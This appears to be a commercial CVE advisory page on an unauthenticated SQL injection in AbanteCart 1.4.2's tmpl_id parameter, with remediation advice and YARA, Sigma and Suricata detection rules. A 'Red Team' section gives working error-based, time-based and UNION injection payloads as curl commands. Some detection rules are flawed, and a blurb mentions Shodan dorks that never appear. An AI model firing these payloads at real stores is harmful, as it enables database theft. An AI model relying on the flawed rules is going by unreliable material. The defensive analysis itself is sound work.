CVE-2025-50972
Executive Summary
CVE-2025-50972 is a critical SQL Injection vulnerability discovered in AbanteCart version 1.4.2. The flaw resides in the tmpl_id parameter of index.php, allowing unauthenticated attackers to execute arbitrary SQL commands. Three distinct exploitation techniques have been publicly demonstrated: error-based injection using a crafted FLOOR-based payload, time-based blind injection via the SLEEP() function, and UNION-based injection for data extraction. The vendor has not released a patch, and the vulnerability remains unpatched. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder. Based on the technical details, a realistic CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): High (H)
- Integrity (I): High (H)
- Availability (A): High (H)
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical. The vulnerability is unauthenticated, remotely exploitable, and allows full database compromise.
Deep Dive & Mechanics
The vulnerability exists in the tmpl_id parameter of index.php. The application fails to sanitize or parameterize user input before incorporating it into SQL queries. This allows an attacker to inject arbitrary SQL statements.
Three Exploitation Techniques:
Error-Based Injection (FLOOR Payload): The attacker uses a payload that causes a duplicate key error, revealing database information in the error message. Example:
tmpl_id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND()*2)) AS x FROM information_schema.tables GROUP BY x) AS y) -- -Time-Based Blind Injection (SLEEP): The attacker uses the
SLEEP()function to introduce a time delay, confirming the injection point and extracting data character by character. Example:tmpl_id=1' AND IF(1=1, SLEEP(5), 0) -- -UNION-Based Injection: The attacker uses a
UNION SELECTstatement to retrieve arbitrary data from the database. Example:tmpl_id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 -- -
Vulnerable vs. Patched Code
Vulnerable Code (AbanteCart 1.4.2):
The vulnerable code likely directly concatenates the tmpl_id parameter into a SQL query without sanitization.
// Vulnerable example (conceptual)
$tmpl_id = $_GET['tmpl_id'];
$sql = "SELECT * FROM templates WHERE template_id = '" . $tmpl_id . "'";
$result = $db->query($sql);
Patched Code (Hypothetical): A patched version would use prepared statements or parameterized queries.
// Patched example (conceptual)
$tmpl_id = $_GET['tmpl_id'];
$stmt = $db->prepare("SELECT * FROM templates WHERE template_id = ?");
$stmt->bind_param("s", $tmpl_id);
$stmt->execute();
$result = $stmt->get_result();
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install AbanteCart 1.4.2 on a local server (e.g., XAMPP, LAMP).
- Ensure the application is accessible via
http://localhost/abantecart/.
Exploitation Steps:
Error-Based Injection:
curl "http://localhost/abantecart/index.php?tmpl_id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),+CONCAT((SELECT+database()),+FLOOR(RAND()*2))+AS+x+FROM+information_schema.tables+GROUP+BY+x)+AS+y)--+-"Time-Based Blind Injection:
time curl "http://localhost/abantecart/index.php?tmpl_id=1'+AND+IF(1=1,+SLEEP(5),+0)--+-"UNION-Based Injection:
curl "http://localhost/abantecart/index.php?tmpl_id=1'+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+-"
Blue Team (Defensive)
Detection Steps:
- Monitor web server logs for requests containing
tmpl_idwith SQL keywords (UNION,SLEEP,AND,OR,SELECT,FLOOR). - Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
- Implement database activity monitoring to detect anomalous queries.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
index.phpwith atmpl_idparameter containing SQL keywords. - Unusual response times (e.g., >5 seconds) indicating time-based injection.
- Database error messages in HTTP responses (e.g., "Duplicate entry", "MySQL error").
- HTTP requests to
File IOCs:
- Modified or new files in the web root (e.g., webshells).
- Unusual entries in web server access logs.
System IOCs:
- Unexpected database queries or connections.
- Unauthorized data exports.
Detection Engineering
YARA Rule
rule CVE_2025_50972_SQLi_AbanteCart {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-50972 in AbanteCart"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-50972"
strings:
$s1 = "tmpl_id="
$s2 = "UNION SELECT"
$s3 = "SLEEP("
$s4 = "FLOOR(RAND()"
$s5 = "information_schema"
condition:
$s1 and any of ($s2, $s3, $s4, $s5)
}
Sigma Rule
title: CVE-2025-50972 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the tmpl_id parameter in AbanteCart
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'tmpl_id='
- 'UNION SELECT'
- 'SLEEP('
- 'FLOOR(RAND()'
- 'information_schema'
condition: selection
falsepositives:
- Legitimate use of the tmpl_id parameter with similar strings (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-50972 SQL Injection Attempt"; flow:to_server,established; content:"tmpl_id="; http_uri; content:"UNION SELECT"; http_uri; nocase; distance:0; content:"SLEEP("; http_uri; nocase; distance:0; content:"FLOOR(RAND()"; http_uri; nocase; distance:0; content:"information_schema"; http_uri; nocase; distance:0; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate: If possible, isolate the affected AbanteCart instance from the network.
- WAF Rules: Deploy or update WAF rules to block SQL injection patterns targeting the
tmpl_idparameter. - Input Validation: Implement strict input validation for the
tmpl_idparameter (allow only alphanumeric characters).
Long-Term Fix:
- Patch: Await an official patch from AbanteCart. If none is forthcoming, consider migrating to a different e-commerce platform.
- Code Review: Conduct a thorough code review of all SQL queries to ensure parameterized queries are used.
- Upgrade: Upgrade to the latest version of AbanteCart if a patched version becomes available.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.